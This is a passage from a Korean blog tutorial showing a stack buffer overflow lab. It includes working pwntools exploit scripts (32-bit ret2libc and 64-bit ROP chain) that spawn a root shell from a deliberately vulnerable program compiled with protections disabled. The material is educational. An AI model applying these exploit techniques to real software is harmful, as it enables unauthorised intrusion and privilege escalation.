  input 크기만큼 무조건 복사
&amp;rarr; 64바이트 초과 시 오버플로우 발생&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;익스플로잇코드작성.png&quot; data-origin-width=&quot;614&quot; data-origin-height=&quot;465&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUT3M5/dJMcabZcho1/S7iReksN9eklnm7emj9Qek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUT3M5/dJMcabZcho1/S7iReksN9eklnm7emj9Qek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUT3M5/dJMcabZcho1/S7iReksN9eklnm7emj9Qek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUT3M5%2FdJMcabZcho1%2FS7iReksN9eklnm7emj9Qek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;614&quot; height=&quot;465&quot; data-filename=&quot;익스플로잇코드작성.png&quot; data-origin-width=&quot;614&quot; data-origin-height=&quot;465&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 32비트 익스플로잇&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-1. 32비트로 컴파일&lt;/h3&gt;
&lt;pre class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;gcc -o vuln vuln.c \
    -m32 \
    -fno-stack-protector \
    -z execstack \
    -no-pie&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;보호 기법 비활성화 옵션:&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt; 옵션 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 비활성화하는 보호 기법 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 설명 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-m32&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;32비트로 컴파일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-fno-stack-protector&lt;/td&gt;
&lt;td&gt;스택 카나리&lt;/td&gt;
&lt;td&gt;오버플로우 감지 기능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-z execstack&lt;/td&gt;
&lt;td&gt;DEP/NX&lt;/td&gt;
&lt;td&gt;스택에서 코드 실행 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-no-pie&lt;/td&gt;
&lt;td&gt;PIE&lt;/td&gt;
&lt;td&gt;코드 주소 랜덤화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;⚠️ 이 옵션들은 실습 목적으로 보호 기법을 끄는 것이다. 실제 운영 환경에서는 절대 사용하지 않는다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-2. 오버플로우 발생 확인&lt;/h3&gt;
&lt;pre class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;./vuln $(python3 -c &quot;print('A' * 100)&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;출력:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;input: AAAAAAAAAA...
Segmentation fault (core dumped)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A 100개를 넣으면 buffer(64바이트)를 초과해서 옆 메모리(RBP, Return Address)를 덮어씌우고 프로그램이 종료된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;오버플로우.png&quot; data-origin-width=&quot;1324&quot; data-origin-height=&quot;107&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cMcKQB/dJMcaglORmG/yRzaOHbu9YMKKLC8qbfwFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cMcKQB/dJMcaglORmG/yRzaOHbu9YMKKLC8qbfwFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cMcKQB/dJMcaglORmG/yRzaOHbu9YMKKLC8qbfwFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcMcKQB%2FdJMcaglORmG%2FyRzaOHbu9YMKKLC8qbfwFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1324&quot; height=&quot;107&quot; data-filename=&quot;오버플로우.png&quot; data-origin-width=&quot;1324&quot; data-origin-height=&quot;107&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-3. GDB로 오프셋 찾기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오프셋 = buffer 시작부터 Return Address까지의 거리(바이트 수)&lt;/p&gt;
&lt;pre class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;gdb ./vuln
break vulnerable
run $(python3 -c &quot;print('A'*76 + 'B'*4 + 'C'*4)&quot;)
continue
info registers ebp eip&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;ebp = 0x41414141  &amp;lt;- A로 덮어씌워짐
eip = 0x42424242  &amp;lt;- B로 덮어씌워짐 (Return Address 위치)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;오프셋 = 76바이트 (A 76개)
-&amp;gt; 그 다음 4바이트가 Return Address&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;오프셋확인.png&quot; data-origin-width=&quot;544&quot; data-origin-height=&quot;80&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dFfsKH/dJMcajv7yOP/m5vnHwS59gKlveyYka8Hkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dFfsKH/dJMcajv7yOP/m5vnHwS59gKlveyYka8Hkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dFfsKH/dJMcajv7yOP/m5vnHwS59gKlveyYka8Hkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdFfsKH%2FdJMcajv7yOP%2Fm5vnHwS59gKlveyYka8Hkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;544&quot; height=&quot;80&quot; data-filename=&quot;오프셋확인.png&quot; data-origin-width=&quot;544&quot; data-origin-height=&quot;80&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ebp, eip가 뭔지:&lt;br /&gt;ebp = 현재 함수 스택 프레임 기준점 (32비트)&lt;br /&gt;eip = 다음에 실행할 명령어 주소 (32비트)&lt;br /&gt;64비트에서는 rbp, rip로 불린다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-4. system, /bin/sh 주소 찾기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GDB 안에서 주소를 확인한다. 프로그램이 실행된 상태에서만 메모리에 올라온 주소를 확인할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;print system
find &amp;amp;system, +9999999, &quot;/bin/sh&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;system  = 0xf7e16360
/bin/sh = 0xf7f61363&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왜 이 주소들이 필요하냐면:&lt;br /&gt;system 함수는 Ubuntu OS가 제공하는 libc 라이브러리 안에 있다.&lt;br /&gt;system(&quot;/bin/sh&quot;) 를 호출하면 쉘이 실행되는데&lt;br /&gt;Return Address를 system 주소로 덮어쓰면&lt;br /&gt;함수 종료 시 system으로 점프하고&lt;br /&gt;/bin/sh 주소를 인자로 전달하면 쉘이 실행된다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;시스템 함수.png&quot; data-origin-width=&quot;1026&quot; data-origin-height=&quot;154&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Il4mb/dJMcajv7yTt/keJQxfzzJcEE2etA4B97Gk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Il4mb/dJMcajv7yTt/keJQxfzzJcEE2etA4B97Gk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Il4mb/dJMcajv7yTt/keJQxfzzJcEE2etA4B97Gk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIl4mb%2FdJMcajv7yTt%2FkeJQxfzzJcEE2etA4B97Gk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1026&quot; height=&quot;154&quot; data-filename=&quot;시스템 함수.png&quot; data-origin-width=&quot;1026&quot; data-origin-height=&quot;154&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-5. 32비트 익스플로잇 실행&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;quit로 gdb 종료 후 익스플로잇 코드 작성, 실행&lt;/p&gt;
&lt;pre class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;cat &amp;gt; exploit.py &amp;lt;&amp;lt; 'EOF'
import struct
from pwn import *

context.arch = 'i386'

payload = b'A' * 76
payload += struct.pack('&amp;lt;I', 0xf7e16360)  # system 주소
payload += b'BBBB'                         # 더미 (system 종료 후 복귀 주소)
payload += struct.pack('&amp;lt;I', 0xf7f61363)  # /bin/sh 주소

p = process(['./vuln', payload.decode('latin-1')])
p.interactive()
EOF

python3 exploit.py&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;32비트 페이로드 구조:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;A * 76           : buffer(64) + EBP(8) + 추가(4) 채우기
system 주소(4)   : Return Address = system 함수로 점프
BBBB(4)          : system 종료 후 복귀 주소 (더미)
/bin/sh 주소(4)  : system 함수 인자&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;32비트는 함수 인자를 스택으로 전달한다.&lt;br /&gt;system 주소 다음에 /bin/sh 주소를 스택에 넣으면&lt;br /&gt;system 함수가 스택에서 인자를 읽어온다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;elixir&quot;&gt;&lt;code&gt;$ whoami
root&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;익스플로잇성공.png&quot; data-origin-width=&quot;1339&quot; data-origin-height=&quot;537&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ctwqzQ/dJMcabZchTo/48EpAuT42IVhe8LWFfCJGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ctwqzQ/dJMcabZchTo/48EpAuT42IVhe8LWFfCJGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ctwqzQ/dJMcabZchTo/48EpAuT42IVhe8LWFfCJGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FctwqzQ%2FdJMcabZchTo%2F48EpAuT42IVhe8LWFfCJGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1339&quot; height=&quot;537&quot; data-filename=&quot;익스플로잇성공.png&quot; data-origin-width=&quot;1339&quot; data-origin-height=&quot;537&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-6. 실습 중 마주친 오류&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;오류 1: null byte 문제&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;[ERROR] Inappropriate nulls in argv[1]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;64비트 주소에는 &lt;code&gt;\x00\x00&lt;/code&gt; 이 포함되어 있어서 argv로 전달 시 bash가 잘라버린다. 32비트 주소는 null byte가 없는 경우가 많아서 argv 방식이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;오류 2: 한글 깨짐&lt;/b&gt;&lt;br /&gt;vim에서 한글이 깨져서 코드가 제대로 입력되지 않았다. &lt;code&gt;cat &amp;gt; file &amp;lt;&amp;lt; 'EOF'&lt;/code&gt; 방식으로 파일을 생성하고 주석을 영어로 작성해서 해결했다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 64비트 익스플로잇&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5-1. 64비트 코드 작성 및 컴파일&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;64비트는 argv로 null byte를 전달할 수 없어서 stdin으로 입력받는 코드를 사용한다.&lt;/p&gt;
&lt;pre class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;cat &amp;gt; vuln64.c &amp;lt;&amp;lt; 'EOF'
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

void vulnerable() {
    char buffer[64];
    read(0, buffer, 200);
    printf(&quot;input received\n&quot;);
}

int main() {
    vulnerable();
    return 0;
}
EOF&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;gcc -o vuln64 vuln64.c \
    -fno-stack-protector \
    -z execstack \
    -no-pie&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5-2. 오프셋 확인&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;64비트는 stdin으로 입력을 받기 때문에 파일로 만들어서 전달한다.&lt;/p&gt;
&lt;pre class=&quot;stata&quot;&gt;&lt;code&gt;python3 -c &quot;import sys; sys.stdout.buffer.write(b'A'*64 + b'B'*8 + b'C'*8)&quot; &amp;gt; input.bin
gdb ./vuln64
break vulnerable
run &amp;lt; input.bin
continue
x/1gx $rsp&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;0x7fffffffe668: 0x4343434343434343  &amp;lt;- C로 덮어씌워짐&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;오프셋 = 64(buffer) + 8(RBP) = 72바이트&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;64비트 오버플로우.png&quot; data-origin-width=&quot;549&quot; data-origin-height=&quot;67&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/u9UzQ/dJMcaaeTLFk/nESb1dCwT6ftwc20Kqd0R1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/u9UzQ/dJMcaaeTLFk/nESb1dCwT6ftwc20Kqd0R1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/u9UzQ/dJMcaaeTLFk/nESb1dCwT6ftwc20Kqd0R1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fu9UzQ%2FdJMcaaeTLFk%2FnESb1dCwT6ftwc20Kqd0R1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;549&quot; height=&quot;67&quot; data-filename=&quot;64비트 오버플로우.png&quot; data-origin-width=&quot;549&quot; data-origin-height=&quot;67&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5-3. system, /bin/sh 주소 찾기&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;print system
find &amp;amp;system, +9999999, &quot;/bin/sh&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;system  = 0x7ffff7e20290
/bin/sh = 0x7ffff7f825bd&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;64비트 오프셋.png&quot; data-origin-width=&quot;1067&quot; data-origin-height=&quot;154&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dolHlv/dJMcac4Nwae/TSRoPx5eeAxXuZi9ZukY3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dolHlv/dJMcac4Nwae/TSRoPx5eeAxXuZi9ZukY3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dolHlv/dJMcac4Nwae/TSRoPx5eeAxXuZi9ZukY3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdolHlv%2FdJMcac4Nwae%2FTSRoPx5eeAxXuZi9ZukY3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1067&quot; height=&quot;154&quot; data-filename=&quot;64비트 오프셋.png&quot; data-origin-width=&quot;1067&quot; data-origin-height=&quot;154&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5-4. ROP 가젯 찾기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;64비트는 함수 인자를 레지스터(rdi)로 전달해야 한다. 스택에 있는 값을 rdi로 옮겨주는 &lt;code&gt;pop rdi&lt;/code&gt; 가젯이 필요하다.&lt;/p&gt;
&lt;pre class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;ROPgadget --binary vuln64 | grep &quot;pop rdi&quot;
ROPgadget --binary vuln64 | grep &quot;: ret&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;pop rdi ; ret : 0x401203
ret           : 0x40101a&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ROP 가젯이 뭔지:&lt;br /&gt;프로그램 안에 이미 존재하는 짧은 명령어 조각.&lt;br /&gt;이 조각들을 조합해서 원하는 동작을 만드는 기법을 ROP(Return Oriented Programming)라고 한다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왜 ret 가젯이 필요하냐면:&lt;br /&gt;64비트 system 함수는 스택이 16바이트로 정렬되어 있어야 실행된다.&lt;br /&gt;ret 가젯을 하나 추가하면 RSP가 8바이트 이동하면서 정렬이 맞춰진다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;가젯주소.png&quot; data-origin-width=&quot;833&quot; data-origin-height=&quot;107&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJGnbw/dJMcacRezCS/rUAmNkJL3bDCYDy5Nb9qH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJGnbw/dJMcacRezCS/rUAmNkJL3bDCYDy5Nb9qH0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJGnbw/dJMcacRezCS/rUAmNkJL3bDCYDy5Nb9qH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJGnbw%2FdJMcacRezCS%2FrUAmNkJL3bDCYDy5Nb9qH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;833&quot; height=&quot;107&quot; data-filename=&quot;가젯주소.png&quot; data-origin-width=&quot;833&quot; data-origin-height=&quot;107&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5-5. 64비트 익스플로잇 실행&lt;/h3&gt;
&lt;pre class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;cat &amp;gt; exploit64.py &amp;lt;&amp;lt; 'EOF'
from pwn import *

context.arch = 'amd64'

payload = b'A' * 72
payload += p64(0x40101a)           # ret (스택 정렬)
payload += p64(0x401203)           # pop rdi ; ret
payload += p64(0x7ffff7f825bd)     # /bin/sh 주소 (rdi에 들어감)
payload += p64(0x7ffff7e20290)     # system 주소

p = process('./vuln64')
p.sendline(payload)
p.interactive()
EOF

python3 exploit64.py&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;64비트 페이로드 구조:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;A * 72               : buffer(64) + RBP(8) 채우기
ret 주소(8)          : 스택 정렬 맞추기
pop rdi ; ret 주소(8): /bin/sh 주소를 rdi에 저장
/bin/sh 주소(8)      : rdi에 들어갈 값
system 주소(8)       : system(&quot;/bin/sh&quot;) 실행&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;실행 순서:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;1. ret        -&amp;gt; RSP 이동 (스택 16바이트 정렬)
2. pop rdi    -&amp;gt; /bin/sh 주소를 rdi에 저장
3. ret        -&amp;gt; system 주소로 점프
4. system(rdi)= system(&quot;/bin/sh&quot;) 실행
5. 쉘 획득&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;elixir&quot;&gt;&lt;code&gt;$ whoami
root&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;64 익스플로잇 성공.png&quot; data-origin-width=&quot;824&quot; data-origin-height=&quot;567&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ejCJqs/dJMcadvM7kY/30K3rBKX4iAS3ImwCcTKTk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ejCJqs/dJMcadvM7kY/30K3rBKX4iAS3ImwCcTKTk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ejCJqs/dJMcadvM7kY/30K3rBKX4iAS3ImwCcTKTk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FejCJqs%2FdJMcadvM7kY%2F30K3rBKX4iAS3ImwCcTKTk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;824&quot; height=&quot;567&quot; data-filename=&quot;64 익스플로잇 성공.png&quot; data-origin-width=&quot;824&quot; data-origin-height=&quot;567&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5-6. 실습 중 마주친 오류&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;오류 1: SIGSEGV 발생&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;Process './vuln64' stopped with exit code -11 (SIGSEGV)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스택 정렬 문제로 system 함수 실행 시 SIGSEGV가 발생했다. ret 가젯을 추가해서 16바이트 정렬을 맞춰 해결했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;오류 2: Got EOF while reading in interactive&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;[*] Got EOF while reading in interactive&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stdin 방식에서 쉘이 뜨자마자 종료되는 문제가 발생했다. ROP 가젯으로 스택 정렬을 맞추고 나서 해결됐다.&lt;/p&gt;
